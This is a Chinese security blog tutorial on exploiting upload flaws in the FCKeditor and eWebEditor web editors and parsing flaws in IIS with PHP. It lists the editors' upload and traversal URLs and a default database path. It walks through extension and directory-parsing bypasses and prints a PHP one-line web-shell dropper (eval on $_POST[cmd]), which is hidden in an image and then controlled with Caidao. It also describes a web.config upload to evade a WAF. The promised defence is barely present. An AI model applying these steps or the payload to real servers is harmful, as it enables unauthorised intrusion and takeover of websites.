fckeditor漏洞_三十,文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御

一.编辑器漏洞

1.编辑器

编辑器属于第三方软件,它的作用是方便网站管理员上传或编辑网站上的内容,类似我们电脑上的Word文档。

编辑器通常分为两种情况:

(1) 不需要后台验证,可以直接在前台访问且操作。通过方法找到编辑器,再进行目录爆破(用御剑去扫描网站的目录)和蜘蛛爬行(AWS扫描器去判断是否存在网站编辑器)。

通常,存在 www.xxx.com/edit 或 www.xxx.com/uploadfiles 的域名,很可能会存在编辑器。

fe716608a5299028d158014cb516c0de.png

(2) 需要后台验证,才能操作编辑器。先通过漏洞或其他方法登录后台。

1a94bbe7a23594177e55a4551a6b0611.png

常用编辑器包括:

FCKeditor

EWEbeditor

CKFinder

UEDITOR

DotNet TextBox

Cute Editor

其中,用的次数较多的两种编辑器是FCK和eWEB,本篇博客将用这两种编辑器作演示。

2.FCKeditor编辑器漏洞利用

FCKeditor常见上传目录:

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

(1) FCK编辑器漏洞 —— “.” 变 “_” 绕过方法

在高版本fck中,直接上传或抓包修改文件名“a.asp;.jpg”,都会将前面的点变成下划线,也就是变成“a_asp;.jpg”,这样我们的文件名解析就无效果了。绕过方法是突破建立文件夹,其实质是利用我们IIS6.0的目录解析(参考前文)。

编辑器漏洞利用常见步骤如下:

找到编辑器。可以通过编辑器路径的文件名来判断是什么编辑器。

确认版本。

搜索该版本编辑器的漏洞利用。

假设路径为“/fckeditor/editor/filemanager/connectors/test.html”,文件名中包含“fck”,可以直接判定为FCK编辑器。打开如下图所示:

5a58623de815311d004948e96957e2b3.png

在FCKeditor中选中“a.asp;.png”并成功上传,如下图所示。

15171e1726b7f8cbbd0e7cea8b80a29f.png

打开服务器,可以看到成功上传的图片文件。它名字被修改为“a_asp;.png”,这就是FCK高版本的过滤,它将“.”修改为“_”。

ce4742fb51f7166f4ce6e1eb7394671d.png

(2) FCK编辑器还有一个突破文件上传漏洞

它是利用IIS6的目录解析漏洞,我们先建立一个“a.asp”文件夹,然后上传图片一句话木马“a_asp;.png”,IIS6目录解析漏洞会将“a.asp”目录下的文件都解析成asp文件去执行。

第一步,打开FCK编辑器并在“a.asp”目录下上传一个“b.asp”文件夹。注意,在“Current Folder”中需要填写“/a.asp”。

c76fb52a5b4c078156bb223608bc3cd9.png

第二步,打开BurpSuite软件抓包。

1c5ac2f6cc94717a7e8d9dbde8df48e0.png

可以看到,我们在a.asp目录下创建了“b_asp”文件夹,这是因为“.”被FCK漏洞替换成了“_”。

78e06187e3d1e9c820868e5b056967ef.png

第三步,这样“a.asp”文件夹就被成功创建,接着将一句话木马上传至该文件夹中。

ff15266590f120b8210a0e6e727b4e01.png

上传之后如下图所示:

6246b19189b45bcde074f529ede4a48a.png

当一句话木马上传成功之后,我们就可以成功利用Caidao进行Webshell目录获取了。最后补充一个FCK编辑器漏洞综合利用工具:https://www.webshell.cc/4479.html

bced7f53a05c98c1b1c841b8373b34b1.png

3.eWebEditor编辑器漏洞

eWebEditor编辑器漏洞利用的基本流程如下:

(1) 进后台

eWeb编辑器需要登录后台,其默认数据库地址是:ewebeditor/db/ewebeditor.mdb

(2) eweb遍历漏洞

利用该漏洞遍历文件目录、查看整个网站结构及敏感信息

ewebeditor/admin_uploadfile.asp?id=14&dir=./

(3) 修改样式表上传文件

如下图所示,这里选择某个样式表进行设置。

f25481a12fe2dd9bd317e7ab5bc5def1.png

然后在图片类型中,增加“asa”类型。“.asa”可以被当成“.asp”文件去执行,而网站可能会过滤“asp”类型的后缀,所以这里添加“.asa”。

7be52c2bd769a34aac08a838382222e1.png

打开“工具栏”,显示如下图所示:

e7898913fa9075516d21dd20ac9131df.png

点击“按钮设置”,准备添加按钮。

2d3228a323d23240c91a142aea1f9b15.png

选择“插入或修改图片”,然后“保存设置”。

0f6a148dcac686eceb2fc3224589843e.png

此时返回页面,点击“预览”可以看到我们已经添加的“插入或修改图片”按钮。

18b58165a9a4bd272d25bb0428f61370.png

然后直接上传“1.asa”文件,如下图所示。

65a8ddb9ffca969eebf7bbbf284e68cc.png

然后点击代码,可以看到这是一个木马的文件路径。

ba17e3e4c5a82d68876693b6369318b4.png

所以,编辑器其实就是一个上传点,通过解析漏洞或多种文件上传漏洞可以实现绕过并上传一句话木马,从而提权。

二.IIS高版本上传

IIS6.0毕竟是一个低版本,除了靶场和僵尸站很少能够遇到。真实的渗透中,会遇到很多的问题,比如WAF、高版本过滤、安全狗、被拦截绕过、不解析等等。接下来分享一个IIS高版本上传思路。

1.畸形解析漏洞

畸形解析漏洞影响版本:IIS7、IIS7.5、Nginx<0.8.03

漏洞产生条件是开启Fast-CGI或php配置文件中cgi.fix_pathinfo

其漏洞不是IIS本身的问题,而是PHP配置不当造成的问题,根本原因是开启了cgi.fix_pathinfo选项。由于该漏洞是php配置造成,并且默认开启该功能,所以它影响了IIS7、IIS7.5、IIS8.5等多个版本,凡是IIS+PHP都有可能会有这个漏洞。

漏洞利用方法:当我们上传一张名为“1.jpg”的图片文件,并且这张图片文件里包含以下代码。

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>
     
     

那么它会生成一个叫shell.php的脚本文件,并写入我们的一句话,密码为cmd。而一句话的位置是:上传的图片文件名字“/shell.php”。如果图片没有被改名,那么现在我们的一句话文件在“1.jpg/shell.php”中。

2.案例分析

假设我们向IIS+PHP搭建的远程服务器上传“1.jpg”文件。

139047db6e442ef22e2dc3aed9d758b5.png

开启服务器如下图所示:

c288b21ad95a716a82a7f3c0809a5dea.png

“1.jpg”代码包含如下代码 ,它能显示PHP配置信息。

<?php phpinfo(); ?>
     
     
c96715e80b1a6642134d6dfd1b131143.png

通过URL能够访问PHP的版本信息,如下图所示。该URL运行了我们的PHP代码,所以才返回相应的配置信息。在URL(49.234.12.78/1.jpg/.php)中,首先访问“.php”文件,它是不存在的,所以跳到前面的“1.jpg”位置,而“1.jpg”是存在的并且包含php代码,就会把它当成php文件去执行,并获取PHP配置信息。

42a10add71d125212b995e4a08654ecf.png

为什么IIS高版本会存在这个漏洞呢?
这是因为IIS高版本在搭建php网站的时候,它会开启CGI/FastCGI,并且php配置文件选项默认开启。所以,该畸形解析漏洞不光存在于IIS7、IIS7.5,还有IIS8、IIS10等版本。

40f828401ccb498085e54448dec8262f.png

接着我们演示另一个代码,将“1.jpg”内容修改如下,直接写入shell。

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>
     
     
852c71ff4e409076a50620c715d0f2f1.png

访问“/1.jpg/shell.php”显示的内容为空。

5799d16078cfc84d0d34993acb55c091.png

但是此时会在服务器生成一个名为“shell.php”的文件,如下图所示:

c3f940b79a7522d487f08a82c7cb4ed8.png

并且“shell.php”包含了我们的一句话木马。

e222040facc3d80f4982b9cc09ed7f94.png

这样通过Caidao即可访问该页面,并获取服务器的文件目录。

3.aspx漏洞

aspx它有一个“web.config”的配置文件,它规定我们上传文件的后缀。

e90c60e85b123b374e96f333626e210d.png


我们可以自定一个后缀名来解析aspx文件。

6c00d52e3ef909ed68ce3e538a291a4c.png

换句话说,当我们遇到可以上传配置文件的时候,则上传我们修改好的配置文件,然后自定义一个后缀名如“.ad”,从而绕过WAF或检测,上传成功之后它会解析成aspx并执行。如下图所示:

915a84214434b478ca7bfabaa288a393.png

所以,当我们遇到可以上传配置文件的时候,通过该方法实现绕过,从而提权。

三.总结

写到这里,这篇基础性文章就此结束,最后希望这篇基础性文章对您有所帮助。作者也是这个领域的菜鸟一枚,希望与您共同进步,共勉。

  • 0
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值